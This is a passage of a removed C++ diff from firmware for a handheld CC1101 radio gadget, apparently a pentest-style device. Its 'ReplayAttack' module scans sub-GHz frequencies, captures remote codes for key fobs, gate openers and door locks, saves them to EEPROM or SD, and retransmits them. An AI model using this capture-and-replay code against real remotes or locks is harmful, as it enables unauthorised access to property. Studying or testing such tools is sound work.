(!subghzMountSD()) { - if (errOut) *errOut = "SD not mounted"; - return false; - } - if (path.isEmpty() || !SD.exists(path.c_str())) { - if (errOut) *errOut = "File not found"; - return false; - } - - File f = SD.open(path.c_str(), FILE_READ); - if (!f) { - if (errOut) *errOut = "Open failed"; - return false; - } - - SubGhzExportHeader h{}; - if (f.read((uint8_t*)&h, sizeof(h)) != sizeof(h)) { f.close(); if (errOut) *errOut="Bad header"; return false; } - if (h.magic != SUBGHZ_EXPORT_MAGIC || h.version != 1) { f.close(); if (errOut) *errOut="Wrong file"; return false; } - if (h.profileSize != PROFILE_SIZE) { f.close(); if (errOut) *errOut="Size mismatch"; return false; } - - uint16_t count = h.count; - if (count > MAX_PROFILES) count = MAX_PROFILES; - - clearProfilesInEeprom(); - for (uint16_t i = 0; i < count; i++) { - SubGhzProfile p{}; - if (f.read((uint8_t*)&p, sizeof(p)) != sizeof(p)) { f.close(); if (errOut) *errOut="Read failed"; return false; } - p.name[MAX_NAME_LENGTH - 1] = '\0'; - EEPROM.put(ADDR_PROFILE_START + (i * PROFILE_SIZE), p); - } - EEPROM.put(ADDR_PROFILE_COUNT, count); - EEPROM.commit(); - f.close(); - return true; - } - - struct SubGhzFileEntry { - String path; - uint16_t count = 0; - bool isCurrent = false; - }; - - static bool readExportHeader(File& f, SubGhzExportHeader& out, String* errOut = nullptr) { - if (f.read((uint8_t*)&out, sizeof(out)) != sizeof(out)) { if (errOut) *errOut="Bad header"; return false; } - if (out.magic != SUBGHZ_EXPORT_MAGIC || out.version != 1) { if (errOut) *errOut="Wrong file"; return false; } - if (out.profileSize != PROFILE_SIZE) { if (errOut) *errOut="Size mismatch"; return false; } - return true; - } - - static bool readProfileAt(const String& path, uint16_t localIndex, SubGhzProfile& out, String* errOut = nullptr) { - if (!subghzMountSD()) { if (errOut) *errOut="SD not mounted"; return false; } - File f = SD.open(path.c_str(), FILE_READ); - if (!f) { if (errOut) *errOut="Open failed"; return false; } - SubGhzExportHeader h{}; - if (!readExportHeader(f, h, errOut)) { f.close(); return false; } - uint16_t count = h.count; if (count > MAX_PROFILES) count = MAX_PROFILES; - if (localIndex >= count) { f.close(); if (errOut) *errOut="Index OOR"; return false; } - uint32_t off = (uint32_t)sizeof(SubGhzExportHeader) + (uint32_t)localIndex * (uint32_t)PROFILE_SIZE; - if (!f.seek(off)) { f.close(); if (errOut) *errOut="Seek failed"; return false; } - if (f.read((uint8_t*)&out, sizeof(out)) != sizeof(out)) { f.close(); if (errOut) *errOut="Read failed"; return false; } - out.name[MAX_NAME_LENGTH - 1] = '\0'; - f.close(); - return true; - } - - static bool listAllProfileFiles(std::vector& out, String* errOut = nullptr) { - out.clear(); - if (!subghzMountSD()) { if (errOut) *errOut="SD not mounted"; return false; } - if (!SD.exists(SUBGHZ_DIR)) { if (errOut) *errOut="No /subghz"; return false; } - File d = SD.open(SUBGHZ_DIR); - if (!d) { if (errOut) *errOut="Open dir failed"; return false; } - - for (;;) { - File f = d.openNextFile(); - if (!f) break; - if (f.isDirectory()) { f.close(); continue; } - String name = String(f.name()); - - String fullPath = String(SUBGHZ_DIR) + "/" + name; - - bool isCurrent = (name == "profiles_current.bin"); - bool isArchive = name.startsWith("profiles_") && name.endsWith(".bin") && !isCurrent; - if (!isCurrent && !isArchive) { f.close(); continue; } - - SubGhzExportHeader h{}; - String herr; - bool ok = readExportHeader(f, h, &herr); - f.close(); - if (!ok) continue; - - uint16_t cnt = h.count; - if (cnt > MAX_PROFILES) cnt = MAX_PROFILES; - if (cnt == 0) continue; - - SubGhzFileEntry e; - e.path = fullPath; - e.count = cnt; - e.isCurrent = isCurrent; - out.push_back(e); - } - d.close(); - - std::sort(out.begin(), out.end(), [](const SubGhzFileEntry& a, const SubGhzFileEntry& b) { - if (a.isCurrent != b.isCurrent) return a.isCurrent > b.isCurrent; - return a.path > b.path; - }); - return true; - } - - static uint16_t totalProfilesInIndex(const std::vector& files) { - uint32_t total = 0; - for (auto& f : files) total += f.count; - if (total > 65535) total = 65535; - return (uint16_t)total; - } - - static bool locateGlobalIndex(const std::vector& files, uint16_t globalIndex, - String& outPath, uint16_t& outLocalIdx) { - uint32_t idx = globalIndex; - for (auto& fe : files) { - if (idx < fe.count) { - outPath = fe.path; - outLocalIdx = (uint16_t)idx; - return true; - } - idx -= fe.count; - } - return false; - } - - static bool deleteProfileFromFile(const String& path, uint16_t localIndex, String* errOut = nullptr) { - if (!subghzMountSD()) { if (errOut) *errOut="SD not mounted"; return false; } - File f = SD.open(path.c_str(), FILE_READ); - if (!f) { if (errOut) *errOut="Open failed"; return false; } - SubGhzExportHeader h{}; - if (!readExportHeader(f, h, errOut)) { f.close(); return false; } - uint16_t count = h.count; if (count > MAX_PROFILES) count = MAX_PROFILES; - if (localIndex >= count) { f.close(); if (errOut) *errOut="Index OOR"; return false; } - - SubGhzProfile buf[MAX_PROFILES]{}; - for (uint16_t i = 0; i < count; i++) { - if (f.read((uint8_t*)&buf[i], sizeof(SubGhzProfile)) != sizeof(SubGhzProfile)) { f.close(); if (errOut) *errOut="Read failed"; return false; } - buf[i].name[MAX_NAME_LENGTH - 1] = '\0'; - } - f.close(); - - for (uint16_t i = localIndex; i + 1 < count; i++) buf[i] = buf[i + 1]; - count--; - - if (SD.exists(path.c_str())) SD.remove(path.c_str()); - File w = SD.open(path.c_str(), FILE_WRITE); - if (!w) { if (errOut) *errOut="Open write failed"; return false; } - - SubGhzExportHeader nh{}; - nh.magic = SUBGHZ_EXPORT_MAGIC; - nh.version = 1; - nh.count = count; - nh.profileSize = PROFILE_SIZE; - nh.reserved = 0; - bool ok = (w.write((const uint8_t*)&nh, sizeof(nh)) == sizeof(nh)); - for (uint16_t i = 0; ok && i < count; i++) { - ok = (w.write((const uint8_t*)&buf[i], sizeof(SubGhzProfile)) == sizeof(SubGhzProfile)); - } - w.close(); - if (!ok && errOut) *errOut="Write failed"; - - if (ok && path.endsWith("profiles_current.bin")) { - importProfilesFromSD(path, nullptr); - } - return ok; - } -} - -#ifdef TFT_BLACK -#undef TFT_BLACK -#endif -#define TFT_BLACK FEATURE_BG - -#ifndef FEATURE_TEXT -#define FEATURE_TEXT ORANGE -#endif -#ifndef FEATURE_WHITE -#define FEATURE_WHITE 0xFFFF -#endif - -#ifdef TFT_WHITE -#undef TFT_WHITE -#endif -#define TFT_WHITE FEATURE_TEXT - -#ifdef WHITE -#undef WHITE -#endif -#define WHITE FEATURE_WHITE - -#ifdef DARK_GRAY -#undef DARK_GRAY -#endif -#define DARK_GRAY UI_FG - -namespace replayat { - -#define EEPROM_SIZE 1440 - -#define ADDR_VALUE 1280 -#define ADDR_BITLEN 1284 -#define ADDR_PROTO 1286 -#define ADDR_FREQ 1288 -#define ADDR_PROFILE_COUNT 1296 -#define ADDR_PROFILE_START 1300 -#define MAX_PROFILES 5 - -#define SCREEN_WIDTH 240 -#define SCREENHEIGHT 320 -#define SCREEN_HEIGHT 320 - -static bool uiDrawn = false; - -#define MAX_NAME_LENGTH 16 - -const char* profileKeyboardRows[] = { - "1234567890", - "QWERTYUIOP", - "ASDFGHJKL", - "ZXCVBNM<-" -}; - -const char* randomNames[] = { - "Signal", "Remote", "KeyFob", "GateOpener", "DoorLock", - "RFTest", "Profile", "Control", "Switch", "Beacon" -}; -const uint8_t numRandomNames = 10; - -struct __attribute__((packed)) Profile { - uint32_t frequency; - uint32_t value; - uint16_t bitLength; - uint16_t protocol; - char name[MAX_NAME_LENGTH]; -}; - -#define PROFILE_SIZE sizeof(Profile) - -uint16_t profileCount = 0; - -RCSwitch mySwitch = RCSwitch(); -arduinoFFT FFTSUB = arduinoFFT(); - -const uint16_t samplesSUB = 256; -const double FrequencySUB = 5000; - -double attenuation_num = 10; - -unsigned int sampling_period; -unsigned long micro_s; - -double vRealSUB[samplesSUB]; -double vImagSUB[samplesSUB]; - -byte red[128], green[128], blue[128]; - -unsigned int epochSUB = 0; -unsigned int colorcursor = 2016; - -int rssi; - -static constexpr uint8_t REPLAY_RX_PIN = SUBGHZ_RX_PIN; -static constexpr uint8_t REPLAY_TX_PIN = SUBGHZ_TX_PIN; - -uint32_t receivedValue = 0; -uint16_t receivedBitLength = 0; -uint16_t receivedProtocol = 0; -const int rssi_threshold = -75; - -static const uint32_t subghz_frequency_list[] = { - 300000000, 303875000, 304250000, 310000000, 315000000, 318000000, - 390000000, 418000000, 433075000, 433420000, 433920000, 434420000, - 434775000, 438900000, 868350000, 915000000, 925000000 -}; - -uint16_t currentFrequencyIndex = 0; -int yshift = 20; - -static bool autoScanEnabled = false; -static uint16_t scanIndex = 0; -static uint32_t lastHopMs = 0; -static uint32_t lockUntilMs = 0; -static constexpr uint32_t SCAN_DWELL_MS = 110; -static constexpr uint32_t LOCK_HOLD_MS = 2500; -static constexpr uint32_t RSSI_LOCK_MS = 1200; -static constexpr int RSSI_DETECT_THRESHOLD = -72; -static constexpr int RSSI_CLEAR_THRESHOLD = -78; -static constexpr uint32_t UI_SCAN_UPDATE_MS = 250; -static uint32_t lastUiScanUpdateMs = 0; -static bool rssiHot = false; - -static uint32_t lastDetectAlertMs = 0; -static uint16_t lastDetectAlertFreq = 0xFFFF; -static uint32_t notifHideAtMs = 0; -static bool notifActive = false; - -static constexpr uint8_t BUZZER_LEDC_CH = 7; -static bool buzzerArmed = false; -static uint32_t buzzerOffAtMs = 0; -static void replayBeep(uint16_t hz = 2200, uint16_t ms = 60) { - #ifdef BUZZER_PIN - ledcSetup(BUZZER_LEDC_CH, 4000, 8); - ledcAttachPin(BUZZER_PIN, BUZZER_LEDC_CH); - ledcWriteTone(BUZZER_LEDC_CH, hz); - buzzerArmed = true; - buzzerOffAtMs = millis() + ms; - #endif -} - -static void replayBeepPoll() { - #ifdef BUZZER_PIN - if (!buzzerArmed) return; - if ((int32_t)(millis() - buzzerOffAtMs) < 0) return; - ledcWriteTone(BUZZER_LEDC_CH, 0); - - ledcDetachPin(BUZZER_PIN); - buzzerArmed = false; - #endif -} - -static void replayShowDetectNotice(const String& reason, int rssi = 0) { - uint32_t now = millis(); - - if (now - lastDetectAlertMs < 1200 && lastDetectAlertFreq == currentFrequencyIndex) return; - lastDetectAlertMs = now; - lastDetectAlertFreq = currentFrequencyIndex; - - char msg[96]; - float mhz = subghz_frequency_list[currentFrequencyIndex] / 1000000.0f; - - snprintf(msg, sizeof(msg), "%s @ %.2f MHz | RSSI %d", reason.c_str(), mhz, rssi); - showNotificationActions("SubGHz Detected", msg, true); - replayBeep(reason == "DECODE" ? 2600 : 2000, 70); - notifActive = true; - notifHideAtMs = 0; -} - -static inline uint16_t freqCount() { - return (uint16_t)(sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); -} - -static void tuneToIndex(uint16_t idx, bool persist = true) { - currentFrequencyIndex = idx % freqCount(); - ELECHOUSE_cc1101.setSidle(); - ELECHOUSE_cc1101.setMHZ(subghz_frequency_list[currentFrequencyIndex] / 1000000.0); - ELECHOUSE_cc1101.SetRx(); - if (persist) { - EEPROM.put(ADDR_FREQ, currentFrequencyIndex); - EEPROM.commit(); - } -} - -void updateDisplay() { - uiDrawn = false; - - tft.fillRect(0, 40, 240, 40, TFT_BLACK); - tft.drawLine(0, 80, 240, 80, TFT_WHITE); - - tft.setCursor(5, 20 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Freq:"); - tft.setTextColor(TFT_WHITE); - tft.setCursor(50, 20 + yshift); - tft.print(subghz_frequency_list[currentFrequencyIndex] / 1000000.0, 2); - tft.print(" MHz"); - - tft.setCursor(175, 20 + yshift); - bool locked = (autoScanEnabled && lockUntilMs != 0 && (int32_t)(millis() - lockUntilMs) < 0); - tft.setTextColor(autoScanEnabled ? ORANGE : TFT_WHITE); - if (locked) { - tft.print("LOCK"); - } else { - tft.print(autoScanEnabled ? "AUTO" : "MAN "); - } - - tft.setCursor(5, 35 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Bit:"); - tft.setTextColor(TFT_WHITE); - tft.setCursor(50, 35 + yshift); - tft.printf("%d", receivedBitLength); - - tft.setCursor(130, 35 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("RSSI:"); - tft.setTextColor(TFT_WHITE); - tft.setCursor(170, 35 + yshift); - tft.printf("%d", ELECHOUSE_cc1101.getRssi()); - - tft.setCursor(130, 20 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Ptc:"); - tft.setTextColor(TFT_WHITE); - tft.setCursor(170, 20 + yshift); - tft.printf("%d", receivedProtocol); - - tft.setCursor(5, 50 + yshift); - tft.setTextColor(TFT_CYAN); - tft.print("Val:"); - tft.setTextColor(TFT_WHITE); - tft.setCursor(50, 50 + yshift); - tft.print(receivedValue); - - ELECHOUSE_cc1101.setSidle(); - ELECHOUSE_cc1101.setMHZ(subghz_frequency_list[currentFrequencyIndex] / 1000000.0); - ELECHOUSE_cc1101.SetRx(); -} - -String getUserInputName() { - OnScreenKeyboardConfig cfg; - cfg.titleLine1 = "[!] Set a name for the saved profile."; - cfg.titleLine2 = "(max 15 chars)"; - cfg.rows = profileKeyboardRows; - cfg.rowCount = 4; - cfg.maxLen = MAX_NAME_LENGTH - 1; - cfg.shuffleNames = randomNames; - cfg.shuffleCount = numRandomNames; - cfg.buttonsY = 195; - cfg.backLabel = "Back"; - cfg.middleLabel = "Shuffle"; - cfg.okLabel = "OK"; - cfg.enableShuffle = true; - cfg.requireNonEmpty = true; - cfg.emptyErrorMsg = "Name cannot be empty!"; - - OnScreenKeyboardResult r = showOnScreenKeyboard(cfg, ""); - - if (!r.accepted) { - - tft.fillScreen(TFT_BLACK); - updateDisplay(); - } - return r.text; -} - -void sendSignal() { - - mySwitch.disableReceive(); - delay(100); - mySwitch.enableTransmit(REPLAY_TX_PIN); - ELECHOUSE_cc1101.SetTx(); - - tft.fillRect(0,40,240,37, TFT_BLACK); - - tft.setCursor(10, 30 + yshift); - tft.print("Sending..."); - tft.setCursor(10, 40 + yshift); - tft.print(receivedValue); - - mySwitch.setProtocol(receivedProtocol); - mySwitch.send(receivedValue, receivedBitLength); - - delay(500); - tft.fillRect(0,40,240,37, TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.print("Done!"); - - ELECHOUSE_cc1101.SetRx(); - mySwitch.disableTransmit(); - delay(100); - mySwitch.enableReceive(REPLAY_RX_PIN); - - delay(500); - updateDisplay(); -} - -void do_sampling() { - - micro_s = micros(); - - #define ALPHA 0.2 - float ewmaRSSI = -50; - -for (int i = 0; i < samplesSUB; i++) { - int rssi = ELECHOUSE_cc1101.getRssi(); - rssi += 100; - - ewmaRSSI = (ALPHA * rssi) + ((1 - ALPHA) * ewmaRSSI); - - vRealSUB[i] = ewmaRSSI * 2; - vImagSUB[i] = 1; - - while (micros() < micro_s + sampling_period); - micro_s += sampling_period; -} - - double mean = 0; - - for (uint16_t i = 0; i < samplesSUB; i++) - mean += vRealSUB[i]; - mean /= samplesSUB; - for (uint16_t i = 0; i < samplesSUB; i++) - vRealSUB[i] -= mean; - - micro_s = micros(); - - FFTSUB.Windowing(vRealSUB, samplesSUB, FFT_WIN_TYP_HAMMING, FFT_FORWARD); - FFTSUB.Compute(vRealSUB, vImagSUB, samplesSUB, FFT_FORWARD); - FFTSUB.ComplexToMagnitude(vRealSUB, vImagSUB, samplesSUB); - -unsigned int left_x = 120; -unsigned int graph_y_offset = 81; -int max_k = 0; - -for (int j = 0; j < samplesSUB >> 1; j++) { - int k = vRealSUB[j] / attenuation_num; - if (k > max_k) - max_k = k; - if (k > 127) k = 127; - - unsigned int color = red[k] << 11 | green[k] << 5 | blue[k]; - unsigned int vertical_x = left_x + j; - - tft.drawPixel(vertical_x, epochSUB + graph_y_offset, color); -} - -for (int j = 0; j < samplesSUB >> 1; j++) { - int k = vRealSUB[j] / attenuation_num; - if (k > max_k) - max_k = k; - if (k > 127) k = 127; - - unsigned int color = red[k] << 11 | green[k] << 5 | blue[k]; - unsigned int mirrored_x = left_x - j; - tft.drawPixel(mirrored_x, epochSUB + graph_y_offset, color); -} - - double tattenuation = max_k / 127.0; - - if (tattenuation > attenuation_num) - attenuation_num = tattenuation; - - delay(10); -} - -void readProfileCount() { - EEPROM.get(ADDR_PROFILE_COUNT, profileCount); - if (profileCount > MAX_PROFILES) profileCount = 0; -} - -void saveProfile() { - readProfileCount(); - - if (profileCount >= MAX_PROFILES) { - - String err, outPath; - if (exportProfilesToSD(outPath, &err)) { - clearProfilesInEeprom(); - profileCount = 0; - - syncCurrentProfilesToSD(nullptr); - } else { - tft.fillScreen(TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.setTextColor(UI_WARN); - tft.print("Storage full!"); - tft.setCursor(10, 45 + yshift); - tft.setTextColor(TFT_WHITE); - tft.print("Insert SD / export fail"); - tft.setCursor(10, 60 + yshift); - tft.print(err); - delay(2000); - updateDisplay(); - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - return; - } - } - - if (profileCount < MAX_PROFILES) { - - String customName = getUserInputName(); - - tft.setTextSize(1); - - Profile newProfile; - newProfile.frequency = subghz_frequency_list[currentFrequencyIndex]; - newProfile.value = (uint32_t)receivedValue; - newProfile.bitLength = (uint16_t)receivedBitLength; - newProfile.protocol = (uint16_t)receivedProtocol; - strncpy(newProfile.name, customName.c_str(), MAX_NAME_LENGTH - 1); - newProfile.name[MAX_NAME_LENGTH - 1] = '\0'; - - int addr = ADDR_PROFILE_START + (profileCount * PROFILE_SIZE); - EEPROM.put(addr, newProfile); - EEPROM.commit(); - - profileCount++; - - EEPROM.put(ADDR_PROFILE_COUNT, profileCount); - EEPROM.commit(); - - syncCurrentProfilesToSD(nullptr); - - tft.fillScreen(TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.print("Profile saved!"); - tft.setCursor(10, 40 + yshift); - tft.print("Name: "); - tft.print(newProfile.name); - tft.setCursor(10, 50 + yshift); - tft.print("Profiles saved: "); - tft.println(profileCount); - - } else { - tft.fillScreen(TFT_BLACK); - tft.setCursor(10, 30 + yshift); - tft.print("Profile storage full!"); - } - - delay(2000); - updateDisplay(); - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); -} - -void loadProfileCount() { - - readProfileCount(); -} - -void runUI() { - - #define STATUS_BAR_Y_OFFSET 20 - #define STATUS_BAR_HEIGHT 16 - #define ICON_SIZE 16 - #define ICON_NUM 6 - - static int iconX[ICON_NUM] = {90, 130, 170, 210, 50, 10}; - static int iconY = STATUS_BAR_Y_OFFSET; - - static const unsigned char* icons[ICON_NUM] = { - bitmap_icon_sort_up_plus, - bitmap_icon_sort_down_minus, - bitmap_icon_antenna, - bitmap_icon_floppy, - bitmap_icon_random, - bitmap_icon_go_back - }; - - if (!uiDrawn) { - tft.drawLine(0, 19, 240, 19, TFT_WHITE); - tft.fillRect(0, STATUS_BAR_Y_OFFSET, SCREEN_WIDTH, STATUS_BAR_HEIGHT, DARK_GRAY); - - for (int i = 0; i < ICON_NUM; i++) { - if (icons[i] != NULL) { - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_WHITE); - } - } - tft.drawLine(0, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, SCREEN_WIDTH, STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT, ORANGE); - uiDrawn = true; - } - - static unsigned long lastAnimationTime = 0; - static int animationState = 0; - static int activeIcon = -1; - - if (animationState > 0 && millis() - lastAnimationTime >= 150) { - if (animationState == 1) { - tft.drawBitmap(iconX[activeIcon], iconY, icons[activeIcon], ICON_SIZE, ICON_SIZE, TFT_WHITE); - animationState = 2; - - switch (activeIcon) { - case 0: - autoScanEnabled = false; - currentFrequencyIndex = (currentFrequencyIndex + 1) % (sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); - tuneToIndex(currentFrequencyIndex, true); - updateDisplay(); - break; - case 1: - autoScanEnabled = false; - currentFrequencyIndex = (currentFrequencyIndex - 1 + (sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0]))) % (sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); - tuneToIndex(currentFrequencyIndex, true); - updateDisplay(); - break; - case 2: - sendSignal(); - break; - case 3: - saveProfile(); - break; - case 4: - autoScanEnabled = !autoScanEnabled; - scanIndex = currentFrequencyIndex; - lastHopMs = 0; - lockUntilMs = 0; - lastUiScanUpdateMs = 0; - rssiHot = false; - updateDisplay(); - break; - } - } else if (animationState == 2) { - animationState = 0; - activeIcon = -1; - } - lastAnimationTime = millis(); - } - - static unsigned long lastTouchCheck = 0; - const unsigned long touchCheckInterval = 50; - - if (millis() - lastTouchCheck >= touchCheckInterval) { - int x, y; - if (feature_active && readTouchXY(x, y)) { - if (y > STATUS_BAR_Y_OFFSET && y < STATUS_BAR_Y_OFFSET + STATUS_BAR_HEIGHT) { - for (int i = 0; i < ICON_NUM; i++) { - if (x > iconX[i] && x < iconX[i] + ICON_SIZE) { - if (icons[i] != NULL && animationState == 0) { - - if (i == 5) { - feature_exit_requested = true; - } else { - - tft.drawBitmap(iconX[i], iconY, icons[i], ICON_SIZE, ICON_SIZE, TFT_BLACK); - animationState = 1; - activeIcon = i; - lastAnimationTime = millis(); - } - } - break; - } - } - } - } - lastTouchCheck = millis(); - } -} - -void ReplayAttackSetup() { - Serial.begin(115200); - - ELECHOUSE_cc1101.setSpiPin(CC1101_SCK, CC1101_MISO, CC1101_MOSI, CC1101_CS); - - ELECHOUSE_cc1101.Init(); - - ELECHOUSE_cc1101.setGDO(CC1101_GDO0, CC1101_GDO2); - - ELECHOUSE_cc1101.SetRx(); - - mySwitch.enableReceive(REPLAY_RX_PIN); - mySwitch.enableTransmit(REPLAY_TX_PIN); - mySwitch.setRepeatTransmit(8); - - EEPROM.begin(EEPROM_SIZE); - readProfileCount(); - - EEPROM.get(ADDR_VALUE, receivedValue); - EEPROM.get(ADDR_BITLEN, receivedBitLength); - EEPROM.get(ADDR_PROTO, receivedProtocol); - EEPROM.get(ADDR_FREQ, currentFrequencyIndex); - - const uint16_t freqCount = (uint16_t)(sizeof(subghz_frequency_list) / sizeof(subghz_frequency_list[0])); - if (currentFrequencyIndex >= freqCount) currentFrequencyIndex = 0; - - tuneToIndex(currentFrequencyIndex, false); - - tft.fillScreen(TFT_BLACK); - tft.setRotation(2); - - pcf.pinMode(BTN_LEFT, INPUT_PULLUP); - pcf.pinMode(BTN_RIGHT, INPUT_PULLUP); - pcf.pinMode(BTN_UP, INPUT_PULLUP); - pcf.pinMode(BTN_DOWN, INPUT_PULLUP); - pcf.pinMode(BTN_SELECT, INPUT_PULLUP); - - sampling_period = round(1000000*(1.0/FrequencySUB)); - - for (int i = 0; i < 32; i++) { - red[i] = i / 2; - green[i] = 0; - blue[i] = i; - } - for (int i = 32; i < 64; i++) { - red[i] = i / 2; - green[i] = 0; - blue[i] = 63 - i; - } - for (int i = 64; i < 96; i++) { - red[i] = 31; - green[i] = (i - 64) * 2; - blue[i] = 0; - } - for (int i = 96; i < 128; i++) { - red[i] = 31; - green[i] = 63; - blue[i] = i - 96; - } - - float currentBatteryVoltage = readBatteryVoltage(); - drawStatusBar(currentBatteryVoltage, true); - updateDisplay(); - uiDrawn = false; - -} - -void ReplayAttackLoop() { - - if (feature_active && isButtonPressed(BTN_SELECT)) { - feature_exit_requested = true; - return; - } - - runUI(); - - static unsigned long lastDebounceTime = 0; - const unsigned long debounceDelay = 200; - - static bool prevLeft = false, prevRight = false, prevUp = false, prevDown = false; - const bool leftPressed = isButtonPressed(BTN_LEFT); - const bool rightPressed = isButtonPressed(BTN_RIGHT); - const bool upPressed = isButtonPressed(BTN_UP); - const bool downPressed = isButtonPressed(BTN_DOWN); - - replayBeepPoll(); - - if (notifActive && isNotificationVisible()) { - int x, y; - if (readTouchXY(x, y)) { - NotificationAction act = notificationHandleTouch(x, y); - if (act == NotificationAction::Save) { - notifActive = false; - - tft.fillScreen(TFT_BLACK); - uiDrawn = false; - float v = readBatteryVoltage(); - drawStatusBar(v, true); - runUI(); - updateDisplay(); - - autoScanEnabled = false; - saveProfile(); - - tft.fillScreen(TFT_BLACK); - uiDrawn = false; - v = readBatteryVoltage(); - drawStatusBar(v, true); - runUI(); - updateDisplay(); - } else if (act == NotificationAction::Ok || act == NotificationAction::Close) { - notifActive = false; - - lastDetectAlertMs = millis(); - lastDetectAlertFreq = currentFrequencyIndex; - lockUntilMs = millis() + 1500; - rssiHot = true; - - tft.fillScreen(TFT_BLACK); - uiDrawn = false; - float v = readBatteryVoltage(); - drawStatusBar(v, true); - runUI(); - updateDisplay(); - } - } - - return; - } else if (notifActive && !isNotificationVisible()) { - - notifActive = false; - tft.fillScreen(TFT_BLACK); - uiDrawn = false; - float v = readBatteryVoltage(); - drawStatusBar(v, true); - runUI(); - updateDisplay(); - } - - if (rightPressed && !prevRight && millis() - lastDebounceTime > debounceDelay) { - autoScanEnabled = false; - lockUntilMs = 0; - rssiHot = false; - tuneToIndex((uint16_t)((currentFrequencyIndex + 1) % freqCount()), true); - updateDisplay(); - lastDebounceTime = millis(); - } - if (leftPressed && !prevLeft && millis() - lastDebounceTime > debounceDelay) { - autoScanEnabled = false; - lockUntilMs = 0; - rssiHot = false; - tuneToIndex((uint16_t)((currentFrequencyIndex + freqCount() - 1) % freqCount()), true); - updateDisplay(); - lastDebounceTime = millis(); - } - if (upPressed && !prevUp && receivedValue != 0 && millis() - lastDebounceTime > debounceDelay) { - - autoScanEnabled = false; - lockUntilMs = 0; - rssiHot = false; - sendSignal(); - lastDebounceTime = millis(); - } - if (downPressed && !prevDown && millis() - lastDebounceTime > debounceDelay) { - - autoScanEnabled = !autoScanEnabled; - scanIndex = currentFrequencyIndex; - lastHopMs = 0; - lockUntilMs = 0; - lastUiScanUpdateMs = 0; - rssiHot = false; - updateDisplay(); - lastDebounceTime = millis(); - } - - prevLeft = leftPressed; - prevRight = rightPressed; - prevUp = upPressed; - prevDown = downPressed; - - if (autoScanEnabled) { - uint32_t now = millis(); - if (lockUntilMs != 0 && (int32_t)(now - lockUntilMs) < 0) { - - } else { - - if (lastHopMs == 0 || (now - lastHopMs) >= SCAN_DWELL_MS) { - scanIndex = (uint16_t)((scanIndex + 1) % freqCount()); - - tuneToIndex(scanIndex, false); - lastHopMs = now; - - int rssi = ELECHOUSE_cc1101.getRssi(); - if (!rssiHot && rssi > RSSI_DETECT_THRESHOLD) { - rssiHot = true; - lockUntilMs = now + RSSI_LOCK_MS; - - EEPROM.put(ADDR_FREQ, currentFrequencyIndex); - EEPROM.commit(); - replayShowDetectNotice("RSSI", rssi); - } else if (rssiHot && rssi < RSSI_CLEAR_THRESHOLD) { - rssiHot = false; - } - - if (lastUiScanUpdateMs == 0 || (now - lastUiScanUpdateMs) >= UI_SCAN_UPDATE_MS) { - updateDisplay(); - lastUiScanUpdateMs = now; - } - } - } - } - - do_sampling(); - delay(10); - epochSUB++; - - if (epochSUB >= tft.width()) - epochSUB = 0; - - if (mySwitch.available()) { - receivedValue = mySwitch.getReceivedValue(); - receivedBitLength = mySwitch.getReceivedBitlength(); - receivedProtocol = mySwitch.getReceivedProtocol(); - - EEPROM.put(ADDR_VALUE, receivedValue); - EEPROM.put(ADDR_BITLEN, receivedBitLength); - EEPROM.put(ADDR_PROTO, receivedProtocol); - EEPROM.commit(); - - updateDisplay(); - - if (autoScanEnabled) { - lockUntilMs = millis() + LOCK_HOLD_MS; - scanIndex = currentFrequencyIndex; - rssiHot = false; - - EEPROM.put(ADDR_FREQ, currentFrequencyIndex); - EEPROM.commit(); - replayShowDetectNotice("DECODE", ELECHOUSE_cc1101.getRssi()); - } - mySwitch.resetAvailable(); - } - - } -} - -namespace SavedProfile { - -static bool uiDrawn = false; - -#define EEPROM_SIZE 1440 - -#define ADDR_PROFILE_COUNT 1296 -#define ADDR_PROFILE_START 1300 -#define MAX_PROFILES 5 -#define MAX_NAME_LENGTH 16 - -#define SCREEN_WIDTH 240 -#define SCREEN_HEIGHT 320 - -RCSwitch mySwitch = RCSwitch(); -struct __attribute__((packed)) Profile { - uint32_t frequency; - uint32_t value; - uint16_t bitLength; - uint16_t protocol; - char name[MAX_NAME_LENGTH]; -}; - -#define PROFILE_SIZE sizeof(Profile) - -uint16_t profileCount = 0; -uint16_t currentProfileIndex = 0; - -int yshift = 16; - -static std::vector sdFiles; -static uint16_t sdTotalProfiles = 0; -static String sdLastErr = ""; -static String selectedPath = ""; -static uint16_t selectedLocalIdx = 0; -static Profile selectedProfile{}; -static bool selectedValid = false; - -static constexpr uint8_t ITEMS_PER_PAGE = 7; -static constexpr int LIST_X = 6; -static constexpr int LIST_W = 228; - -static constexpr int LIST_Y = 64; -static constexpr int ROW_H = 18; -static constexpr int BOT_H = 32; -static constexpr int BOT_Y = 320 - BOT_H; - -static constexpr int UI_GAP_Y = 6; -static constexpr int DETAILS_H = (BOT_Y - (LIST_Y + (ITEMS_PER_PAGE * ROW_H)) - (2 * UI_GAP_Y)); -static constexpr int DETAILS_Y = BOT_Y - UI_GAP_Y - DETAILS_H; -static constexpr int BOT_GAP = 8; -static constexpr int BOT_BTN_W = (240 - 10 - 10 - BOT_GAP) / 2; -static constexpr int BOT_BTN_H = 24; -static constexpr int BOT_BTN_Y = BOT_Y + 4; -static constexpr int BOT_TX_X = 10; -static constexpr int BOT_DEL_X = BOT_TX_X + BOT_BTN_W + BOT_GAP; - -static uint16_t cachedPageStart = 0xFFFF; -static SubGhzProfile cachedPage[ITEMS_PER_PAGE]{}; -static bool cachedOk[ITEMS_PER_PAGE]{}; -static bool cacheDirty = true; - -static bool deleteArmed = false; -static uint32_t deleteArmUntilMs = 0; - -static void drawBottomButtons() { - - tft.fillRect(0, 